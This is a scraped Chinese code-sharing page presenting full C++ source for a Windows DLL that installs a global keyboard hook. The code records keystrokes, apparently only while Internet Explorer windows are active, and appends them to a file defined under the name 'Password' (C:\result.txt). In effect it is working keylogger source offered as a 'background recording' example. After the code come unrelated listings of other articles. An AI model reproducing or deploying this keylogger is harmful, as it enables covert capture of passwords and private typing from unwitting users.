1. //.header
  2.  
  3. #ifndef _DLLHOOK_H_
  4. #define _DLLHOOK_H_
  5.  
  6. #include <windows.h>
  7. #define DLL_EXPORT_FUN __declspec(dllexport)
  8. DLL_EXPORT_FUN BOOL InstallHook();
  9. DLL_EXPORT_FUN BOOL UninstallHook();
  10.  
  11. #endif
  12.  
  13. //.cpp
  14.  
  15. #include <process.h>
  16. #include <stdio.h>
  17. #include "DllHook.h"
  18.  
  19. #define Password "C:\\result.txt"
  20. #define TextLength 20
  21. #define CHARNUMBER 5
  22. #define CAPITALNUM 10
  23.  
  24. HHOOK hHookKeyboard=0;
  25. HHOOK hHookMsg=0;
  26. HANDLE hDll=NULL;
  27. char TextMsg[TextLength]={0};
  28. bool IE_is_actived=true;
  29. HWND hhWnd=NULL;
  30. FILE *pfFile=NULL;
  31. unsigned int Counter=0;
  32. int shift = 32;
  33. short flag=0;;
  34. char tombnum[CHARNUMBER]={0};
  35. enum NUM
  36. {
  37. SHIFT,
  38. CONTROL,
  39. ALT,
  40. CAPITAL
  41. };
  42. static int TempArray[CHARNUMBER][CAPITAL+1];
  43. static char text[TextLength];
  44.  
  45. void InitTable()
  46. {
  47.  
  48. for (int i=0; i<CHARNUMBER; i++)
  49. for (int j=0; j<CAPITALNUM+1; j++)
  50. TempArray[i][j]=0;
  51. }
  52.  
  53. BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
  54. {
  55. switch(ul_reason_for_call)
  56. {
  57. case DLL_PROCESS_ATTACH:
  58. {
  59. hDll=hModule;
  60. hhWnd=GetActiveWindow();
  61. MessageBox(hhWnd,"DLLKEYBOARD","提示",MB_OKCANCEL);
  62. }
  63. //A new process is attempting to access the DLL; one thread is assumed.
  64. break;
  65. case DLL_PROCESS_DETACH:
  66. //A process is detaching from the DLL.
  67. UninstallHook();
  68. break;
  69. case DLL_THREAD_ATTACH:
  70. break;
  71. case DLL_THREAD_DETACH:
  72. //One of the additional threads (not the first thread) of a process is detaching from the DLL.
  73. break;
  74. }
  75. return TRUE;
  76. }
  77.  
  78. LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
  79. {
  80. int i, temp;
  81. int flag_shift;
  82. int flag_capital;
  83. int flag_alt;
  84. int flag_control;
  85.  
  86. if (IE_is_actived)
  87. {
  88. if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
  89. {
  90. flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
  91. flag_capital = 0x0001 & GetKeyState(VK_CAPITAL);
  92. flag_alt = 0x8000 & GetKeyState(VK_MENU);
  93. flag_control = 0x8000 & GetKeyState(VK_CONTROL);
  94. }
  95. if (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
  96. wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
  97. wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
  98. wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
  99. wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
  100. wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
  101. wParam!=VK_F11 && wParam!=VK_F12)
  102. {
  103. if ((0x80000000 & lParam) == 0) //WM_KEYDOWN?
  104. {
  105. if (wParam>=0x41 && wParam<=0x5a)
  106. wParam+=32; //Kisbeture konvertalas
  107. if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
  108. {
  109. if (wParam==VK_CAPITAL)
  110. temp=1;
  111. else temp=0;
  112. TempArray[Counter][wParam-16-temp]=1;
  113. }
  114. tombnum[Counter] = wParam;
  115. Counter++;
  116. }
  117. else //WM_KEYUP?
  118. if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
  119. {
  120. if (wParam==VK_CAPITAL)
  121. temp=1;
  122. else temp=0;
  123. TempArray[Counter][wParam-16-temp]=2;
  124. tombnum[Counter] = wParam;
  125. Counter++;
  126. }
  127. if (Counter==CHARNUMBER)
  128. {
  129. pfFile = fopen(Password, "a+");
  130.  
  131. for (i=0; i<(signed)Counter; i++)
  132. {
  133. switch(tombnum[i])
  134. {
  135. case VK_DELETE :
  136. fprintf(pfFile, "%s", "<d>");
  137. break;
  138.  
  139. case VK_RETURN :
  140. fprintf(pfFile, "%s", "\n");
  141. break;
  142.  
  143. case VK_BACK :
  144. fprintf(pfFile, "%s", "<b>");
  145. break;
  146.  
  147. case VK_SHIFT :
  148. if (TempArray[i][SHIFT]==1)
  149. fprintf(pfFile, "%s", "<sd>");
  150. else
  151. fprintf(pfFile, "%s", "<su>");
  152. break;
  153.  
  154. case VK_CONTROL :
  155. if (TempArray[i][CONTROL]==1)
  156. fprintf(pfFile, "%s", "<ctd>");
  157. else
  158. fprintf(pfFile, "%s", "<ctu>");
  159. break;
  160.  
  161. case VK_MENU :
  162. if (TempArray[i][ALT]==1)
  163. fprintf(pfFile, "%s", "<ad>");
  164. else
  165. fprintf(pfFile, "%s", "<au>");
  166. break;
  167.  
  168. case VK_CAPITAL :
  169. if (TempArray[i][CAPITAL]==1)
  170. fprintf(pfFile, "%s", "<cpd>");
  171. else
  172. fprintf(pfFile, "%s", "<cpu>");
  173. break;
  174.  
  175. default:
  176. fprintf(pfFile, "%c", tombnum[i]);
  177. break;
  178. }
  179. }
  180. fclose (pfFile);
  181. Counter=0;
  182. InitTable();
  183. }
  184. }
  185. }
  186. return CallNextHookEx(hHookKeyboard, code, wParam, lParam);
  187. }
  188.  
  189. LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
  190. {
  191.  
  192. if(nCode==HCBT_ACTIVATE)
  193. {
  194. GetClassName(hhWnd,TextMsg,TextLength);
  195. {
  196. if (TextMsg[0]=='I'&&TextMsg[1]=='E')
  197. IE_is_actived=true;
  198. else
  199. IE_is_actived=false;
  200. }
  201. return 1;
  202. }
  203. else
  204. return CallNextHookEx(hHookMsg,nCode,wParam,lParam);
  205. }
  206.  
  207. DLL_EXPORT_FUN BOOL InstallHook()
  208. {
  209.  
  210. hHookKeyboard=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,(HINSTANCE)hDll,(DWORD)NULL);
  211. if (hHookKeyboard==NULL)
  212. {
  213. return false;
  214. }
  215. hHookMsg=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)hDll,(DWORD)NULL);
  216. if (hHookMsg==NULL)
  217. {
  218. return false;
  219. }
  220. return true;
  221. }
  222.  
  223. DLL_EXPORT_FUN BOOL UninstallHook()
  224. {
  225.  
  226. if(UnhookWindowsHookEx(hHookKeyboard)==0)
  227. return false;
  228. if (UnhookWindowsHookEx(hHookMsg)==0)
  229. return false;
  230. else
  231. return TRUE;
  232. }

动态链接库dll键盘钩子后台记录代码示例的更多相关文章

  1. C# 键盘钩子

    p{ text-align:center; } blockquote > p > span{ text-align:center; font-size: 18px; color: #ff0 ...

  2. 2.添加键盘钩子。向进程中注入dll

    学习笔记 1.首先要建立mfc的动态链接库.在def文件中放入要导出的函数名. 2.添加函数如下 //安装钩子 //HHOOK SetWindowsHookEx( // int idHook,//钩子 ...

  3. 基于C#实现的HOOK键盘钩子实例代码

    本文所述为基于C#实现的HOOK实例,该实例可用来屏蔽系统热键.程序主要实现了安装钩子.传递钩子.卸载钩子等功能.在传递钩子中:<param name="pHookHandle&quo ...

  4. 通过.NET实现后台自动发送Email功能的代码示例

    原文:通过.NET实现后台自动发送Email功能的代码示例 通过.NET实现后台自动发送邮件功能的代码,可以将一些基础信息放到web.config文件中进行保存: Web.config文件信息段: & ...

  5. hook键盘钩子 带dll

    library Key; uses SysUtils, Classes, HookKey_Unit in 'HookKey_Unit.pas'; {$R *.res} exports HookOn,H ...

  6. Linux 动态链接库 - dll劫持

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  7. WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例

    键盘钩子是一种可以监控键盘操作的指令. 看到这句话是不是觉得其实键盘钩子可以做很多事情. 场景 当你的程序需要一个全局的快捷键时,可以考虑使用键盘钩子,如大家常用qq的截图快捷键,那么在WPF里怎么去 ...

  8. 编译可供C#调用的C/C++动态链接库dll文件

    编译可供C#调用的C/C++动态链接库dll文件,C语言控制台应用程序,探索生成dll过程 由于项目需求,需要公司另一个团队提供相关算法支持,是用C语言编译好的dll库提供给我们进行调用. 但是拿到d ...

  9. VC++动态链接库(DLL)编程深入浅出(zz)

    VC++动态链接库(DLL)编程深入浅出(zz) 1.概论 先来阐述一下DLL(Dynamic Linkable Library)的概念,你可以简单的把DLL看成一种仓库,它提供给你一些可以直接拿来用 ...

随机推荐

  1. LotteryDrawing

    import java.util.*; public class MyTest{ public static void main(String[] args){ Scanner in = new Sc ...

  2. web前端学习(一) html+js实现文本框背景及只读属性修改

    因为工作需求接触了html+javascript,对于从事嵌入式开发,一直接触c和汇编的我,感觉这种语言是一个的全新的领域,宽松的语法要求,等同于文本逻辑的输出,当然我并不认为它简单,错误检查的缺少让 ...

  3. struts2 详解

    Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互.struts使 ...

  4. [html] src与href的区别

    src用于替换当前元素,href用于在当前文档和引用资源之间确立联系. src是source的缩写,指向外部资源的位置,指向的内容将会嵌入到文档中当前标签所在位置:在请求src资源时会将其指向的资源下 ...

  5. Android动画之translate(位移动画)

    上一篇文章讲了 Android的左右滑动切换,实现过程是非常简单,一些新手可能会向深入了了解Activity切换的原理,下面主要对左右滑动进行深入的探讨,并以项目中的一个切换效果来进一步了解. Act ...

  6. 注意64位整形,int64,long long

    在Xplorer中编译运行: int64_t  mask = 0xffffffffffffffffLL; if((j+64)>width) { printf("%x %d " ...

  7. linux删除文件未释放空间问题处理

    linux删除文件未释放空间问题处理 或者 /根分区满了 (我的根分区是/dev/sda1,/dev/sda1满了) http://blog.csdn.net/donghustone/article/ ...

  8. Nemo Documents – 给文件添加标签 以日历的形式将文件呈现出来,很像 Outlook,你可以根据年、月、日来查看不同类型的文档

    Nemo Documents – 给文件添加标签   scavin(Google+) on 2012.03.28. Nemo Documents 是款文件组织管理工具(文档管理器),不是街道大妈胜似大 ...

  9. shell如何在指定文件的指定位置后面添加内容

    最近工作中遇到一个问题,想在某个文件的指定位置后面添加一个标志位,要求在shell脚本里实现. 问题说明: 想在sys_config.fex文本的某个字符串后面添加一个flag 例如:sys_conf ...

  10. MySQL for Windows 解压缩版配置安装

    1.MySQL安装文件分为两种,一种是msi格式的,一种是zip格式的.如果是msi格式的可以直接点击安装,按照它给出的安装提示进行安装(相信大家的英文可以看懂英文提示),一般MySQL将会安装在C: ...